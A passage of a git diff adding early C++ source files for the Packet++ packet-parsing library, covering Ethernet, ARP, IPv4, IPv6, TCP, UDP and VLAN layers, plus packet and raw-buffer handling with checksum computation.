return (vlan_header*)m_Data; } + + //TODO: solve this to big endian as well + inline uint16_t getVlanID() { return (getVlanHeader()->vlanID >> 4) | ((getVlanHeader()->vlanID & 0x00f) << 8); } + //TODO: solve this to big endian as well + inline void setVlanID(uint16_t id) { getVlanHeader()->vlanID = ((id << 4) & 0xff0) | (id >> 8); } + + // implement abstract methods + void parseNextLayer(); + inline size_t getHeaderLen() { return sizeof(vlan_header); } + void computeCalculateFields() {} +}; + + +#endif /* PACKETPP_VLAN_LAYER */ diff --git a/Packet++/src/ArpLayer.cpp b/Packet++/src/ArpLayer.cpp new file mode 100644 index 0000000000..0eca8ea10f --- /dev/null +++ b/Packet++/src/ArpLayer.cpp @@ -0,0 +1,40 @@ +#define LOG_MODULE eArpLayer + +#include +#include +#include +#ifdef WIN32 +#include +#else +#include +#endif + + +ArpLayer::ArpLayer(ArpOpcode opCode, const MacAddress& senderMacAddr, const MacAddress& targetMacAddr, const IPv4Address senderIpAddr, const IPv4Address& targetIpAddr) +{ + m_DataLen = sizeof(arphdr); + m_Data = new uint8_t[m_DataLen]; + memset(m_Data, 0, sizeof(m_DataLen)); + m_Protocol = ARP; + + arphdr* arpHeader = getArpHeader(); + arpHeader->opcode = htons(opCode); + targetMacAddr.copyTo(arpHeader->targetMacAddr); + senderMacAddr.copyTo(arpHeader->senderMacAddr); + arpHeader->targetIpAddr = targetIpAddr.toInt(); + arpHeader->senderIpAddr = senderIpAddr.toInt(); +} + +void ArpLayer::computeCalculateFields() +{ + arphdr* arpHeader = getArpHeader(); + arpHeader->hardwareType = htons(1); //Ethernet + arpHeader->hardwareSize = 6; + arpHeader->protocolType = htons(ETHERTYPE_IP); //assume IPv4 over ARP + arpHeader->protocolSize = 4; //assume IPv4 over ARP + if (arpHeader->opcode == htons(ARP_REQUEST)) + { + MacAddress targetMacAddress("00:00:00:00:00:00"); + targetMacAddress.copyTo(arpHeader->targetMacAddr); + } +} diff --git a/Packet++/src/EthLayer.cpp b/Packet++/src/EthLayer.cpp new file mode 100644 index 0000000000..a45d822321 --- /dev/null +++ b/Packet++/src/EthLayer.cpp @@ -0,0 +1,76 @@ +#define LOG_MODULE eEthLayer + +#include +#include +#include +#include +#include +#include +#include +#ifdef WIN32 +#include +#else +#include +#endif + +EthLayer::EthLayer(MacAddress& sourceMac, MacAddress& destMac, uint16_t etherType) : Layer() +{ + m_DataLen = sizeof(ether_header); + m_Data = new uint8_t[m_DataLen]; + memset(m_Data, 0, m_DataLen); + ether_header* ethHdr = (ether_header*)m_Data; + destMac.copyTo(ethHdr->dstMac); + sourceMac.copyTo(ethHdr->srcMac); + ethHdr->etherType = htons(etherType); + m_Protocol = Ethernet; +} + +void EthLayer::parseNextLayer() +{ + if (m_DataLen <= sizeof(ether_header)) + return; + + ether_header* hdr = getEthHeader(); + switch (ntohs(hdr->etherType)) + { + case ETHERTYPE_IP: + m_NextLayer = new IPv4Layer(m_Data + sizeof(ether_header), m_DataLen - sizeof(ether_header), this); + break; + case ETHERTYPE_IPV6: + m_NextLayer = new IPv6Layer(m_Data + sizeof(ether_header), m_DataLen - sizeof(ether_header), this); + break; + case ETHERTYPE_ARP: + m_NextLayer = new ArpLayer(m_Data + sizeof(ether_header), m_DataLen - sizeof(ether_header), this); + break; + case ETHERTYPE_VLAN: + m_NextLayer = new VlanLayer(m_Data + sizeof(ether_header), m_DataLen - sizeof(ether_header), this); + break; + default: + m_NextLayer = new PayloadLayer(m_Data + sizeof(ether_header), m_DataLen - sizeof(ether_header), this); + } + +} + +void EthLayer::computeCalculateFields() +{ + if (m_NextLayer == NULL) + return; + + switch (m_NextLayer->getProtocol()) + { + case IPv4: + getEthHeader()->etherType = htons(ETHERTYPE_IP); + break; + case IPv6: + getEthHeader()->etherType = htons(ETHERTYPE_IPV6); + break; + case ARP: + getEthHeader()->etherType = htons(ETHERTYPE_ARP); + break; + case VLAN: + getEthHeader()->etherType = htons(ETHERTYPE_VLAN); + break; + default: + return; + } +} diff --git a/Packet++/src/IPv4Layer.cpp b/Packet++/src/IPv4Layer.cpp new file mode 100644 index 0000000000..44c411aca6 --- /dev/null +++ b/Packet++/src/IPv4Layer.cpp @@ -0,0 +1,80 @@ +#define LOG_MODULE eIPv4Layer + +#include +#include +#include +#include +#include +#include + +void IPv4Layer::initLayer() +{ + m_DataLen = sizeof(iphdr); + m_Data = new uint8_t[m_DataLen]; + m_Protocol = IPv4; + memset(m_Data, 0, sizeof(iphdr)); +} + +IPv4Layer::IPv4Layer() +{ + initLayer(); +} + +IPv4Layer::IPv4Layer(const IPv4Address& srcIP, const IPv4Address& dstIP) +{ + initLayer(); + iphdr* ipHdr = getIPv4Header(); + ipHdr->ipSrc = srcIP.toInt(); + ipHdr->ipDst = dstIP.toInt(); +} + +void IPv4Layer::parseNextLayer() +{ + if (m_DataLen <= sizeof(iphdr)) + return; + + iphdr* ipHdr = getIPv4Header(); + + switch (ipHdr->protocol) + { + case PACKETPP_IPPROTO_UDP: + m_NextLayer = new UdpLayer(m_Data + sizeof(iphdr), m_DataLen - sizeof(iphdr), this); + break; + case PACKETPP_IPPROTO_TCP: + m_NextLayer = new TcpLayer(m_Data + sizeof(iphdr), m_DataLen - sizeof(iphdr), this); + break; + default: + m_NextLayer = new PayloadLayer(m_Data + sizeof(iphdr), m_DataLen - sizeof(iphdr), this); + return; + } +} + +void IPv4Layer::computeCalculateFields() +{ + iphdr* ipHdr = getIPv4Header(); + ipHdr->internetHeaderLength = (5 & 0xf); + ipHdr->ipVersion = (4 & 0x0f); + ipHdr->totalLength = htons(m_DataLen); + ipHdr->headerChecksum = 0; + + if (m_NextLayer != NULL) + { + switch (m_NextLayer->getProtocol()) + { + case TCP: + ipHdr->protocol = PACKETPP_IPPROTO_TCP; + break; + case UDP: + ipHdr->protocol = PACKETPP_IPPROTO_UDP; + break; + case ICMP: + ipHdr->protocol = PACKETPP_IPPROTO_ICMP; + break; + default: + break; + } + } + + ScalarBuffer scalar = { (uint16_t*)ipHdr, ipHdr->internetHeaderLength*4 } ; + ipHdr->headerChecksum = htons(compute_checksum(&scalar, 1)); +} diff --git a/Packet++/src/IPv6Layer.cpp b/Packet++/src/IPv6Layer.cpp new file mode 100644 index 0000000000..c77d14dc50 --- /dev/null +++ b/Packet++/src/IPv6Layer.cpp @@ -0,0 +1,76 @@ +#define LOG_MODULE eIPv6Layer + +#include +#include +#include +#include +#include +#include +#include + +void IPv6Layer::initLayer() +{ + m_DataLen = sizeof(ip6_hdr); + m_Data = new uint8_t[m_DataLen]; + m_Protocol = IPv6; + memset(m_Data, 0, sizeof(ip6_hdr)); +} + +IPv6Layer::IPv6Layer() +{ + initLayer(); +} + +IPv6Layer::IPv6Layer(const IPv6Address& srcIP, const IPv6Address& dstIP) +{ + initLayer(); + ip6_hdr* ipHdr = getIPv6Header(); + srcIP.copyTo(ipHdr->ipSrc); + dstIP.copyTo(ipHdr->ipDst); +} + +void IPv6Layer::parseNextLayer() +{ + if (m_DataLen <= sizeof(ip6_hdr)) + return; + + ip6_hdr* ipHdr = getIPv6Header(); + + switch (ipHdr->nextHeader) + { + case PACKETPP_IPPROTO_UDP: + m_NextLayer = new UdpLayer(m_Data + sizeof(ip6_hdr), m_DataLen - sizeof(ip6_hdr), this); + break; + case PACKETPP_IPPROTO_TCP: + m_NextLayer = new TcpLayer(m_Data + sizeof(ip6_hdr), m_DataLen - sizeof(ip6_hdr), this); + break; + default: + m_NextLayer = new PayloadLayer(m_Data + sizeof(ip6_hdr), m_DataLen - sizeof(ip6_hdr), this); + return; + } +} + +void IPv6Layer::computeCalculateFields() +{ + ip6_hdr* ipHdr = getIPv6Header(); + ipHdr->payloadLength = htons(m_DataLen - sizeof(ip6_hdr)); + ipHdr->ipVersion = (6 & 0x0f); + + if (m_NextLayer != NULL) + { + switch (m_NextLayer->getProtocol()) + { + case TCP: + ipHdr->nextHeader = PACKETPP_IPPROTO_TCP; + break; + case UDP: + ipHdr->nextHeader = PACKETPP_IPPROTO_UDP; + break; + case ICMP: + ipHdr->nextHeader = PACKETPP_IPPROTO_ICMP; + break; + default: + break; + } + } +} diff --git a/Packet++/src/Layer.cpp b/Packet++/src/Layer.cpp new file mode 100644 index 0000000000..5c2bc5f396 --- /dev/null +++ b/Packet++/src/Layer.cpp @@ -0,0 +1,9 @@ +#define LOG_MODULE eLayer + +#include +#include + +void Layer::copyData(uint8_t* toArr) +{ + memcpy(toArr, m_Data, m_DataLen); +} diff --git a/Packet++/src/Packet.cpp b/Packet++/src/Packet.cpp new file mode 100644 index 0000000000..3efaa2c833 --- /dev/null +++ b/Packet++/src/Packet.cpp @@ -0,0 +1,261 @@ +#define LOG_MODULE PacketLogModulePacket + +#include +#include +#include +#include +#include + +Packet::Packet(size_t maxPacketLen) : + m_RawPacket(NULL), + m_FirstLayer(NULL), + m_LastLayer(NULL), + m_ProtocolTypes(Unknown), + m_MaxPacketLen(maxPacketLen), + m_FreeRawPacket(true) +{ + timeval time; + gettimeofday(&time, NULL); + uint8_t* data = new uint8_t[m_MaxPacketLen]; + memset(data, 0, m_MaxPacketLen); + m_RawPacket = new RawPacket((const uint8_t*)data, 0, time, true); +} + +Packet::Packet(RawPacket* rawPacket) : + m_FirstLayer(NULL), + m_LastLayer(NULL), + m_ProtocolTypes(Unknown), + m_MaxPacketLen(rawPacket->getRawDataLen()), + m_FreeRawPacket(false) +{ + m_RawPacket = rawPacket; + m_FirstLayer = new EthLayer((uint8_t*)m_RawPacket->getRawData(), m_RawPacket->getRawDataLen()); + m_LastLayer = m_FirstLayer; + Layer* curLayer = m_FirstLayer; + while (curLayer != NULL) + { + m_ProtocolTypes |= curLayer->getProtocol(); + curLayer->parseNextLayer(); + m_LayersInitialized.push_back(curLayer); + curLayer = curLayer->getNextLayer(); + if (curLayer != NULL) + m_LastLayer = curLayer; + } + +} + +void Packet::reallocateRawData(size_t newSize) +{ + LOG_DEBUG("Allocating packet to new size: %d", newSize); + + // allocate a new array with size newSize + m_MaxPacketLen = newSize; + uint8_t* newData = new uint8_t[m_MaxPacketLen]; + memset(newData, 0, m_MaxPacketLen); + + // set the new array to RawPacket + m_RawPacket->reallocateData(newData); + + // set all data pointers in layers to the new array address + const uint8_t* dataPtr = m_RawPacket->getRawData(); + + Layer* curLayer = m_FirstLayer; + while (curLayer != NULL) + { + LOG_DEBUG("Setting new data pointer to layer '%s'", typeid(curLayer).name()); + curLayer->m_Data = (uint8_t*)dataPtr; + dataPtr += curLayer->getHeaderLen(); + curLayer = curLayer->getNextLayer(); + } +} + +bool Packet::addLayer(Layer* newLayer) +{ + return insertLayer(m_LastLayer, newLayer); +} + +bool Packet::insertLayer(Layer* prevLayer, Layer* newLayer) +{ + if (newLayer->m_DataAllocatedToPacket) + { + LOG_ERROR("Layer is already allocated to another packet. Cannot use layer in more than one packet"); + return false; + } + + if (m_RawPacket->getRawDataLen() + newLayer->getHeaderLen() > m_MaxPacketLen) + { + // reallocate to maximum value of: twice the max size of the packet or max size + new required length + if (m_RawPacket->getRawDataLen() + newLayer->getHeaderLen() > m_MaxPacketLen*2) + reallocateRawData(m_RawPacket->getRawDataLen() + newLayer->getHeaderLen() + m_MaxPacketLen); + else + reallocateRawData(m_MaxPacketLen*2); + } + + size_t appendDataLen = newLayer->getHeaderLen(); + + // insert layer data to raw packet + int indexToInsertData = 0; + if (prevLayer != NULL) + indexToInsertData = prevLayer->m_Data+prevLayer->getHeaderLen() - m_RawPacket->getRawData(); + m_RawPacket->insertData(indexToInsertData, newLayer->m_Data, appendDataLen); + + //delete previous layer data + delete[] newLayer->m_Data; + + // add layer to layers linked list + if (prevLayer != NULL) + { + newLayer->setNextLayer(prevLayer->getNextLayer()); + newLayer->setPrevLayer(prevLayer); + prevLayer->setNextLayer(newLayer); + } + else //prevLayer == NULL + { + newLayer->setNextLayer(m_FirstLayer); + if (m_FirstLayer != NULL) + m_FirstLayer->setPrevLayer(newLayer); + m_FirstLayer = newLayer; + } + + if (newLayer->getNextLayer() == NULL) + m_LastLayer = newLayer; + + // assign layer with this packet only + newLayer->m_DataAllocatedToPacket = true; + + // re-calculate all layers data ptr and data length + const uint8_t* dataPtr = m_RawPacket->getRawData(); + int dataLen = m_RawPacket->getRawDataLen(); + + Layer* curLayer = m_FirstLayer; + while (curLayer != NULL) + { + curLayer->m_Data = (uint8_t*)dataPtr; + curLayer->m_DataLen = dataLen; + dataPtr += curLayer->getHeaderLen(); + dataLen -= curLayer->getHeaderLen(); + curLayer = curLayer->getNextLayer(); + } + + // add layer protocol to protocol collection + m_ProtocolTypes |= newLayer->getProtocol(); + return true; +} + +bool Packet::removeLayer(Layer* layer) +{ + if (layer == NULL) + { + LOG_ERROR("Layer is NULL"); + return false; + } + + // verify layer is allocated to a packet + if (!layer->m_DataAllocatedToPacket) + { + LOG_ERROR("Layer isn't allocated to any packet"); + return false; + } + + // verify layer is allocated to *this* packet + Layer* curLayer = layer; + while (curLayer->m_PrevLayer != NULL) + curLayer = curLayer->m_PrevLayer; + if (curLayer != m_FirstLayer) + { + LOG_ERROR("Layer isn't allocated to this packet"); + return false; + } + + // remove data from raw packet + size_t numOfBytesToRemove = layer->getHeaderLen(); + int indexOfDataToRemove = layer->m_Data - m_RawPacket->getRawData(); + if (!m_RawPacket->removeData(indexOfDataToRemove, numOfBytesToRemove)) + { + LOG_ERROR("Couldn't remove data from packet"); + return false; + } + + // remove layer from layers linked list + if (layer->m_PrevLayer != NULL) + layer->m_PrevLayer->setNextLayer(layer->m_NextLayer); + if (layer->m_NextLayer != NULL) + layer->m_NextLayer->setPrevLayer(layer->m_PrevLayer); + + // take care of head and tail ptrs + if (m_FirstLayer == layer) + m_FirstLayer = layer->m_NextLayer; + if (m_LastLayer == layer) + m_LastLayer = layer->m_PrevLayer; + layer->setNextLayer(NULL); + layer->setPrevLayer(NULL); + + // re-calculate all layers data ptr and data length + const uint8_t* dataPtr = m_RawPacket->getRawData(); + int dataLen = m_RawPacket->getRawDataLen(); + + curLayer = m_FirstLayer; + bool anotherLayerWithSameProtocolExists = false; + while (curLayer != NULL) + { + curLayer->m_Data = (uint8_t*)dataPtr; + curLayer->m_DataLen = dataLen; + if (curLayer->getProtocol() == layer->getProtocol()) + anotherLayerWithSameProtocolExists = true; + dataPtr += curLayer->getHeaderLen(); + dataLen -= curLayer->getHeaderLen(); + curLayer = curLayer->getNextLayer(); + } + + // remove layer protocol from protocol list if necessary + if (!anotherLayerWithSameProtocolExists) + m_ProtocolTypes &= ~((uint64_t)layer->getProtocol()); + + return true; +} + +Layer* Packet::getLayerOfType(ProtocolType type) +{ + if (m_FirstLayer->m_Protocol == type) + return m_FirstLayer; + + return getNextLayerOfType(m_FirstLayer, type); +} + +Layer* Packet::getNextLayerOfType(Layer* after, ProtocolType type) +{ + if (after == NULL) + return NULL; + + Layer* curLayer = after->getNextLayer(); + while (curLayer != NULL) + { + if (curLayer->m_Protocol == type) + return curLayer; + else + curLayer = curLayer->getNextLayer(); + } + + return NULL; +} + +void Packet::computeCalculateFields() +{ + Layer* curLayer = m_FirstLayer; + while (curLayer != NULL) + { + curLayer->computeCalculateFields(); + curLayer = curLayer->getNextLayer(); + } +} + +Packet::~Packet() +{ + for(std::vector::iterator iter = m_LayersInitialized.begin(); iter != m_LayersInitialized.end(); ++iter) + delete (*iter); + + if (m_FreeRawPacket) + delete m_RawPacket; +} + + diff --git a/Packet++/src/PayloadLayer.cpp b/Packet++/src/PayloadLayer.cpp new file mode 100644 index 0000000000..0f8cffac78 --- /dev/null +++ b/Packet++/src/PayloadLayer.cpp @@ -0,0 +1,11 @@ +#define LOG_MODULE ePayloadLayer + +#include +#include + +PayloadLayer::PayloadLayer(const uint8_t* data, size_t dataLen, bool selfAllocated) : Layer() +{ + m_Data = new uint8_t[dataLen]; + memcpy(m_Data, data, dataLen); + m_DataLen = dataLen; +} diff --git a/Packet++/src/RawPacket.cpp b/Packet++/src/RawPacket.cpp new file mode 100644 index 0000000000..1bc3ba9a3f --- /dev/null +++ b/Packet++/src/RawPacket.cpp @@ -0,0 +1,117 @@ +#define LOG_MODULE eRawPacket + +#include +#include +#include + +void RawPacket::Init() +{ + m_pRawData = 0; + m_RawDataLen = 0; + m_DeleteRawDataAtDestructor = true; + m_RawPacketSet = false; +} + +RawPacket::RawPacket(const uint8_t* pRawData, int rawDataLen, timeval timestamp, bool deleteRawDataAtDestructor) +{ + Init(); + m_DeleteRawDataAtDestructor = deleteRawDataAtDestructor; + setRawData(pRawData, rawDataLen, timestamp); +} + +RawPacket::RawPacket() +{ + Init(); +} + +RawPacket::~RawPacket() +{ + if (m_DeleteRawDataAtDestructor) + { + delete[] m_pRawData; + } +} + +void RawPacket::setRawData(const uint8_t* pRawData, int rawDataLen, timeval timestamp) +{ + if (m_pRawData != 0 && m_DeleteRawDataAtDestructor) + { + delete[] m_pRawData; + } + + m_pRawData = (uint8_t*)pRawData; + m_RawDataLen = rawDataLen; + m_TimeStamp = timestamp; + m_RawPacketSet = true; +} + +const uint8_t* RawPacket::getRawData() +{ + return m_pRawData; +} + +int RawPacket::getRawDataLen() +{ + return m_RawDataLen; +} + +timeval RawPacket::getPacketTimeStamp() +{ + return m_TimeStamp; +} + +void RawPacket::clear() +{ + if (m_pRawData != 0) + delete[] m_pRawData; + + m_pRawData = 0; + m_RawDataLen = 0; + m_RawPacketSet = false; +} + +void RawPacket::appendData(const uint8_t* dataToAppend, size_t dataToAppendLen) +{ + memcpy((uint8_t*)m_pRawData+m_RawDataLen, dataToAppend, dataToAppendLen); + m_RawDataLen += dataToAppendLen; +} + +void RawPacket::insertData(int atIndex, const uint8_t* dataToAppend, size_t dataToAppendLen) +{ + int index = m_RawDataLen; + while (index >= atIndex) + { + m_pRawData[index+dataToAppendLen] = m_pRawData[index]; + index--; + } + + memcpy((uint8_t*)m_pRawData+atIndex, dataToAppend, dataToAppendLen); + m_RawDataLen += dataToAppendLen; +} + +void RawPacket::reallocateData(uint8_t* newBuffer) +{ + memcpy(newBuffer, m_pRawData, m_RawDataLen); + if (m_DeleteRawDataAtDestructor) + delete [] m_pRawData; + m_pRawData = newBuffer; +} + +bool RawPacket::removeData(int atIndex, size_t numOfBytesToRemove) +{ + if ((atIndex + numOfBytesToRemove) > m_RawDataLen) + { + LOG_ERROR("Remove section is out of raw packet bound"); + return false; + } + + int index = atIndex; + while (index < (m_RawDataLen-numOfBytesToRemove)) + { + m_pRawData[index] = m_pRawData[index+numOfBytesToRemove]; + index++; + } + + m_RawDataLen -= numOfBytesToRemove; + return true; +} diff --git a/Packet++/src/TcpLayer.cpp b/Packet++/src/TcpLayer.cpp new file mode 100644 index 0000000000..f22ac6f2dd --- /dev/null +++ b/Packet++/src/TcpLayer.cpp @@ -0,0 +1,217 @@ +#define LOG_MODULE PacketLogModuleTcpLayer + +#include +#include +#include +#include +#include +#include +#include + +const TcpOptionData TcpLayer::TcpOptions[TCP_OPTIONS_COUNT] = { + { TCPOPT_NOP, 1 }, + { TCPOPT_EOL, 1 }, + { TCPOPT_MSS, TCPOLEN_MSS }, + { TCPOPT_WINDOW, TCPOLEN_WINDOW }, + { TCPOPT_SACK_PERM, TCPOLEN_SACK_PERM }, + { TCPOPT_SACK, TCPOLEN_SACK_MIN }, + { TCPOPT_ECHO, TCPOLEN_ECHO }, + { TCPOPT_ECHOREPLY, TCPOLEN_ECHOREPLY }, + { TCPOPT_TIMESTAMP, TCPOLEN_TIMESTAMP }, + { TCPOPT_CC, TCPOLEN_CC }, + { TCPOPT_CCNEW, TCPOLEN_CCNEW }, + { TCPOPT_CCECHO, TCPOLEN_CCECHO }, + { TCPOPT_MD5, TCPOLEN_MD5 }, + { TCPOPT_MPTCP, TCPOLEN_MPTCP_MIN }, + { TCPOPT_SCPS, TCPOLEN_SCPS }, + { TCPOPT_SNACK, TCPOLEN_SNACK }, + { TCPOPT_RECBOUND, TCPOLEN_RECBOUND }, + { TCPOPT_CORREXP, TCPOLEN_CORREXP }, + { TCPOPT_QS, TCPOLEN_QS }, + { TCPOPT_USER_TO, TCPOLEN_USER_TO }, + { TCPOPT_EXP_FD, TCPOLEN_EXP_MIN }, + { TCPOPT_EXP_FE, TCPOLEN_EXP_MIN }, + { TCPOPT_RVBD_PROBE,TCPOLEN_RVBD_PROBE_MIN }, + { TCPOPT_RVBD_TRPY, TCPOLEN_RVBD_TRPY_MIN } +}; + +const TcpOptionData& TcpLayer::getTcpOptionRawData(TcpOption option) +{ + for (int i = 0; i < TCP_OPTIONS_COUNT; i++) + { + if (TcpOptions[i].option == option) + return TcpOptions[i]; + } + + // Should never get here + return TcpOptions[1]; +} + +TcpOptionData* TcpLayer::getTcpOptionData(TcpOption option) +{ + uint8_t* tcpOptionStartPtr = m_Data + sizeof(tcphdr); + for (size_t i = 0; i < m_TcpOptionsInLayerLen; i++) + { + if (m_TcpOptionsInLayer[i].option == option) + return (TcpOptionData*)(tcpOptionStartPtr + m_TcpOptionsInLayer[i].dataOffset); + } + + return NULL; +} + +uint16_t TcpLayer::calculateChecksum(bool writeResultToPacket) +{ + tcphdr* tcpHdr = getTcpHeader(); + uint16_t checksumRes = 0; + uint16_t currChecksumValue = tcpHdr->headerChecksum; + + if (m_PrevLayer != NULL) + { + tcpHdr->headerChecksum = 0; + ScalarBuffer vec[2]; + LOG_DEBUG("data len = %d", m_DataLen); + vec[0].buffer = (uint16_t*)m_Data; + vec[0].len = m_DataLen; + + if (m_PrevLayer->getProtocol() == IPv4) + { + uint32_t srcIP = ((IPv4Layer*)m_PrevLayer)->getSrcIpAddress().toInt(); + uint32_t dstIP = ((IPv4Layer*)m_PrevLayer)->getDstIpAddress().toInt(); + uint16_t pseudoHeader[6]; + pseudoHeader[0] = srcIP >> 16; + pseudoHeader[1] = srcIP & 0xFFFF; + pseudoHeader[2] = dstIP >> 16; + pseudoHeader[3] = dstIP & 0xFFFF; + pseudoHeader[4] = 0xffff & htons(m_DataLen); + pseudoHeader[5] = htons(0x00ff & PACKETPP_IPPROTO_TCP); + vec[1].buffer = pseudoHeader; + vec[1].len = 12; + checksumRes = compute_checksum(vec, 2); + LOG_DEBUG("calculated checksum = 0x%4X", checksumRes); + + + } + else if (m_PrevLayer->getProtocol() == IPv6) + { + uint16_t pseudoHeader[18]; + ((IPv6Layer*)m_PrevLayer)->getSrcIpAddress().copyTo((uint8_t*)pseudoHeader); + ((IPv6Layer*)m_PrevLayer)->getDstIpAddress().copyTo((uint8_t*)(pseudoHeader+8)); + pseudoHeader[16] = 0xffff & htons(m_DataLen); + pseudoHeader[17] = htons(0x00ff & PACKETPP_IPPROTO_TCP); + vec[1].buffer = pseudoHeader; + vec[1].len = 36; + checksumRes = compute_checksum(vec, 2); + LOG_DEBUG("calculated checksum = 0x%4X", checksumRes); + } + } + + if(writeResultToPacket) + tcpHdr->headerChecksum = htons(checksumRes); + else + tcpHdr->headerChecksum = currChecksumValue; + + return checksumRes; +} + +void TcpLayer::initLayer(int tcpOptionsCount, va_list paramsList) +{ + size_t tcpOptionsLen = 0; + if (tcpOptionsCount != 0) + m_TcpOptionsInLayer = new TcpOptionPtr[tcpOptionsCount]; + else + m_TcpOptionsInLayer = NULL; + m_TcpOptionsInLayerLen = tcpOptionsCount; + for (int i = 0; i < tcpOptionsCount; i++) + { + TcpOption param = (TcpOption)va_arg(paramsList, int); + const TcpOptionData rawOptionData = getTcpOptionRawData(param); + tcpOptionsLen += rawOptionData.len; + m_TcpOptionsInLayer[i].option = param; + } + + m_DataLen = sizeof(tcphdr) + tcpOptionsLen; + m_HeaderLen = m_DataLen; + m_Data = new uint8_t[m_DataLen]; + memset(m_Data, 0, m_DataLen); + m_Protocol = TCP; + + int optionOffset = 0; + uint8_t* optionPtr = m_Data + sizeof(tcphdr); + for (size_t i = 0; i < m_TcpOptionsInLayerLen; i++) + { + m_TcpOptionsInLayer[i].dataOffset = optionOffset; + const TcpOptionData rawOptionData = getTcpOptionRawData(m_TcpOptionsInLayer[i].option); + *optionPtr = rawOptionData.option; + if (rawOptionData.option > 1) + *(optionPtr+1) = rawOptionData.len; + optionOffset += rawOptionData.len; + optionPtr += rawOptionData.len; + } +} + +TcpLayer::TcpLayer(uint8_t* data, size_t dataLen, Layer* prevLayer) : Layer(data, dataLen, prevLayer) +{ + m_Protocol = TCP; + m_TcpOptionsInLayerLen = 0; + m_TcpOptionsInLayer = NULL; + + uint16_t headerLength = ((tcphdr*)m_Data)->dataOffset*4; + m_HeaderLen = headerLength; + if (m_HeaderLen > sizeof(tcphdr)) + { + m_TcpOptionsInLayer = new TcpOptionPtr[MAX_SUPPORTED_TCP_OPTIONS]; + uint8_t* optionsPtr = m_Data + sizeof(tcphdr); + int optionPtrOffset = 0; + while (optionsPtr < m_Data + m_HeaderLen) + { + m_TcpOptionsInLayer[m_TcpOptionsInLayerLen].option = (TcpOption)*optionsPtr; + const TcpOptionData rawOptionData = getTcpOptionRawData(m_TcpOptionsInLayer[m_TcpOptionsInLayerLen].option); + m_TcpOptionsInLayer[m_TcpOptionsInLayerLen].dataOffset = optionPtrOffset; + optionsPtr += rawOptionData.len; + optionPtrOffset += rawOptionData.len; + m_TcpOptionsInLayerLen++; + } + } +} + +TcpLayer::TcpLayer(int tcpOptionsCount, ...) : m_TcpOptionsInLayer(NULL), m_TcpOptionsInLayerLen(0), m_HeaderLen(0) +{ + va_list paramList; + va_start(paramList, tcpOptionsCount); + initLayer(tcpOptionsCount, paramList); + va_end(paramList); +} + +TcpLayer::TcpLayer(uint16_t portSrc, uint16_t portDst, int tcpOptionsCount, ...) +{ + va_list paramList; + va_start(paramList, tcpOptionsCount); + initLayer(tcpOptionsCount, paramList); + va_end(paramList); + getTcpHeader()->portDst = htons(portDst); + getTcpHeader()->portSrc = htons(portSrc); +} + +void TcpLayer::parseNextLayer() +{ + if (m_DataLen <= m_HeaderLen) + return; + + m_NextLayer = new PayloadLayer(m_Data + m_HeaderLen, m_DataLen - m_HeaderLen, this); +} + +void TcpLayer::computeCalculateFields() +{ + tcphdr* tcpHdr = getTcpHeader(); + + tcpHdr->dataOffset = m_HeaderLen >> 2; + calculateChecksum(true); +} + +TcpLayer::~TcpLayer() +{ + if (m_TcpOptionsInLayer != NULL) + delete[] m_TcpOptionsInLayer; +} + + diff --git a/Packet++/src/UdpLayer.cpp b/Packet++/src/UdpLayer.cpp new file mode 100644 index 0000000000..801494edc6 --- /dev/null +++ b/Packet++/src/UdpLayer.cpp @@ -0,0 +1,87 @@ +#define LOG_MODULE PacketLogModuleUdpLayer + +#include +#include +#include +#include +#include +#include +#include + +UdpLayer::UdpLayer(uint16_t portSrc, uint16_t portDst) +{ + m_DataLen = sizeof(udphdr); + m_Data = new uint8_t[m_DataLen]; + memset(m_Data, 0, m_DataLen); + udphdr* udpHdr = (udphdr*)m_Data; + udpHdr->portDst = htons(portDst); + udpHdr->portSrc = htons(portSrc); + m_Protocol = UDP; +} + +uint16_t UdpLayer::calculateChecksum(bool writeResultToPacket) +{ + udphdr* udpHdr = (udphdr*)m_Data; + uint16_t checksumRes = 0; + uint16_t currChecksumValue = udpHdr->headerChecksum; + + if (m_PrevLayer != NULL) + { + udpHdr->headerChecksum = 0; + ScalarBuffer vec[2]; + LOG_DEBUG("data len = %d", m_DataLen); + vec[0].buffer = (uint16_t*)m_Data; + vec[0].len = m_DataLen; + + if (m_PrevLayer->getProtocol() == IPv4) + { + uint32_t srcIP = ((IPv4Layer*)m_PrevLayer)->getSrcIpAddress().toInt(); + uint32_t dstIP = ((IPv4Layer*)m_PrevLayer)->getDstIpAddress().toInt(); + uint16_t pseudoHeader[6]; + pseudoHeader[0] = srcIP >> 16; + pseudoHeader[1] = srcIP & 0xFFFF; + pseudoHeader[2] = dstIP >> 16; + pseudoHeader[3] = dstIP & 0xFFFF; + pseudoHeader[4] = 0xffff & udpHdr->length; + pseudoHeader[5] = htons(0x00ff & PACKETPP_IPPROTO_UDP); + vec[1].buffer = pseudoHeader; + vec[1].len = 12; + checksumRes = compute_checksum(vec, 2); + LOG_DEBUG("calculated checksum = 0x%4X", checksumRes); + } + else if (m_PrevLayer->getProtocol() == IPv6) + { + uint16_t pseudoHeader[18]; + ((IPv6Layer*)m_PrevLayer)->getSrcIpAddress().copyTo((uint8_t*)pseudoHeader); + ((IPv6Layer*)m_PrevLayer)->getDstIpAddress().copyTo((uint8_t*)(pseudoHeader+8)); + pseudoHeader[16] = 0xffff & udpHdr->length; + pseudoHeader[17] = htons(0x00ff & PACKETPP_IPPROTO_UDP); + vec[1].buffer = pseudoHeader; + vec[1].len = 36; + checksumRes = compute_checksum(vec, 2); + LOG_DEBUG("calculated checksum = 0x%4X", checksumRes); + } + } + + if(writeResultToPacket) + udpHdr->headerChecksum = htons(checksumRes); + else + udpHdr->headerChecksum = currChecksumValue; + + return checksumRes; +} + +void UdpLayer::parseNextLayer() +{ + if (m_DataLen <= sizeof(udphdr)) + return; + + m_NextLayer = new PayloadLayer(m_Data + sizeof(udphdr), m_DataLen - sizeof(udphdr), this); +} + +void UdpLayer::computeCalculateFields() +{ + udphdr* udpHdr = (udphdr*)m_Data; + udpHdr->length = htons(m_DataLen); + calculateChecksum(true); +} diff --git a/Packet++/src/VlanLayer.cpp b/Packet++/src/VlanLayer.cpp new file mode 100644 index 0000000000..d21fa86ae4 --- /dev/null +++ b/Packet++/src/VlanLayer.cpp @@ -0,0 +1,53 @@ +#define LOG_MODULE eVlanLayer + +#include +#include +#include +#include +#include +#include +#ifdef WIN32 +#include +#else +#include +#endif + + +VlanLayer::VlanLayer(const uint16_t vlanID, bool cfi, uint8_t priority, uint16_t etherType) +{ + m_DataLen = sizeof(vlan_header); + m_Data = new uint8_t[m_DataLen]; + memset(m_Data, 0, sizeof(m_DataLen)); + 